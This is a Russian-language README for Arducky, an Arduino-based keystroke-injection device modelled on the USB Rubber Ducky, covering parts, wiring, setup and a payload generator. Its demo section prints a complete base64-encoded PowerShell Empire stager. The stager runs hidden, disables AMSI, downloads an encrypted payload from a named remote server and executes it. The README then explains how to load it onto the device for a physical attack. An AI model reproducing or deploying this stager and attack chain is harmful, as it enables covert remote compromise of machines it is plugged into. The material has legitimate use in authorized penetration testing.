
Arducky - Интерпретатор скриптов Ducky для Arduino
Этот проект направлен на создание дешёвой (но не менее эффективной) альтернативы USB Rubber Ducky от Hak5.
USB Rubber Ducky — это HID (Human Interface Device), программируемый с помощью простого скриптового языка, что позволяет специалистам по тестированию на проникновение быстро и легко создавать и развёртывать полезные нагрузки для аудита безопасности, имитирующие ввод с клавиатуры.
С помощью Arducky вам нужно работать только со скриптами Ducky, хранящимися на MicroSD-карте.
После настройки вам больше не придётся перепрограммировать Arduino для смены скриптов.
| Количество | Наименование | Цена | Описание |
|---|---|---|---|
| 1 | Плата Arduino Pro Micro ATmega32U4 5V | $4.11 | Совместима с USB-протоколом, может использоваться как HID-мышь или клавиатура |
| 1 | Шилд Micro SD Memory | $0.78 | |
| 1 | OTG-адаптер Micro USB | $0.99 | Необязательный. Может использоваться вместо micro USB-кабеля |
| 1 | Провода DuPont | $1.28 | |
| 1 | MicroSD-карта | $18.00 | Это пример, сомневаюсь, что вам понадобится больше 1 ГБ |
Чтобы использовать MicroSD-карту с Arducky, она должна быть отформатирована в файловую систему FAT32.
Настоятельно рекомендую отформатировать SD-карту (даже если она новая!) с помощью официального программного обеспечения SDA (SD Association) — SD Memory Card Formatter, а не инструментов форматирования, предоставляемых вашей операционной системой.
Теперь, когда вы отформатировали MicroSD-карту, давайте подключим MicroSD-шилд!
Интерфейс управления MicroSD-контроллера имеет шесть контактов (GND, VCC, MISO, MOSI, SCK, CS).
Согласно документации Arduino по SPI, интерфейс управления должен быть подключён следующим образом (с помощью проводов DuPont):

Примечание: Как указано в разделе Оборудование, модуль рассчитан на работу с 5-вольтовым микроконтроллером, поэтому вам понадобится вывод 5V на вашем Arduino.


Клонируйте проект:
git clone https://gitlab.com/Creased/arducky
cd arducky/
Если вы используете клавиатуру AZERTY, вам также потребуется заменить библиотеку Keyboard (Keyboard.cpp и Keyboard.h) на вложенную.
Загрузите скетч arducky.ino на плату Arduino с помощью Arduino IDE.
Чтобы сгенерировать файл arducky_femto.ino с полезной нагрузкой на Ducky Script, вы можете использовать femto_generate_payload.py:
~# python3 femto_generate_payload.py -h
usage: femto_generate_payload.py [-h] [-i ino_file] [-o output_file]
payload_file
Generates payload in arducky_femto.ino from an input Rubber Ducky payload file
positional arguments:
payload_file input Rubber Ducky payload file
optional arguments:
-h, --help show this help message and exit
-i ino_file, --ino ino_file
input Arducky ino file
-o output_file, --out output_file
output Arducky ino file
Пример:
~# python3 femto_generate_payload.py -i arducky_femto.ino -o femto.ino demo/script.txt
Empire — это фреймворк для пост-эксплуатации, который реализует возможность запуска агентов PowerShell без необходимости использовать powershell.exe, а также быстро развёртываемые модули пост-эксплуатации — от кейлоггеров до Mimikatz.
В этой демонстрации мы развернём Empire на удалённом сервере (например, VPS) на узле Docker и используем Arducky для подключения к нему.
Пожалуйста, следуйте шагам, описанным в этом руководстве.
При настройке нового Empire вы должны получить полезную нагрузку, подобную этой (см. папку demo/):
powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQBzAFMARQBNAEIAbAB5AC4ARwBlAHQAVABZAHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAGUAVABGAEkAZQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAYQBMAFUAZQAoACQAbgBVAEwAbAAsACQAVAByAHUAZQApAH0AOwBbAFMAWQBTAFQARQBNAC4ATgBFAHQALgBTAEUAcgB2AGkAYwBlAFAATwBJAG4AdABNAGEAbgBBAGcARQBSAF0AOgA6AEUAWABwAEUAYwBUADEAMAAwAEMAbwBOAHQAaQBOAFUARQA9ADAAOwAkAHcAYwA9AE4ARQB3AC0ATwBCAEoAZQBDAFQAIABTAFkAUwB0AEUATQAuAE4ARQB0AC4AVwBFAEIAQwBsAGkAZQBuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABXAGMALgBIAGUAYQBEAGUAcgBTAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAGMALgBQAHIATwBYAFkAPQBbAFMAeQBTAHQARQBNAC4ATgBFAHQALgBXAGUAQgBSAGUAcQB1AEUAUwBUAF0AOgA6AEQAZQBGAEEAVQBMAHQAVwBlAEIAUABSAG8AWABZADsAJAB3AEMALgBQAHIAbwBYAHkALgBDAHIAZQBEAEUAbgBUAEkAYQBMAFMAIAA9ACAAWwBTAFkAcwBUAEUAbQAuAE4ARQBUAC4AQwByAEUARABFAE4AVABJAEEAbABDAGEAYwBIAEUAXQA6ADoARABFAGYAYQBVAEwAVABOAEUAVAB3AG8AcgBLAEMAcgBlAGQARQBuAHQASQBBAGwAcwA7ACQASwA9AFsAUwBZAHMAdABlAE0ALgBUAEUAWABUAC4ARQBOAEMATwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAeQB0AGUAcwAoACcASwBBAE4AcwAjADgAJQBtAHAAWgBpAGQAUABTAEwAaABhAF0AZwBWAFsAWQAuAEcAPwBuAGsAfQBGAGMALwAzACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAHUATgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAWABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAVwBDAC4ASABFAGEARABFAHIAcwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AMgBtADAARQB6AEsALwBlAEEATQBTAE4AbQAxAEIAaABlAEYAUwBEAGYAZAB3AE0AaQBxAFEAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvAHYAcABzADIALgBiAG0AbwBpAG4AZQAuAGYAcgA6ADgAMAA4ADAAJwA7ACQAdAA9ACcALwBhAGQAbQBpAG4ALwBnAGUAdAAuAHAAaABwACcAOwAkAGQAQQB0AGEAPQAkAFcAQwAuAEQATwBXAE4AbABvAEEAZABEAGEAdABhACgAJABzAGUAUgArACQAVAApADsAJABJAFYAPQAkAEQAYQB0AEEAWwAwAC4ALgAzAF0AOwAkAGQAYQBUAEEAPQAkAEQAQQB0AEEAWwA0AC4ALgAkAEQAQQB0AGEALgBMAEUATgBnAHQAaABdADsALQBKAG8ASQBOAFsAQwBIAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAQQBUAEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
Сохраните его в файл с именем stager.txt и запустите скрипт create_script.sh, чтобы создать Ducky-скрипт:
./create_script.sh
Скопируйте сгенерированный файл script.txt в корень файловой системы вашей MicroSD-карты и включите Arducky.
Вот видео, демонстрирующее атаку:
Вуаля!
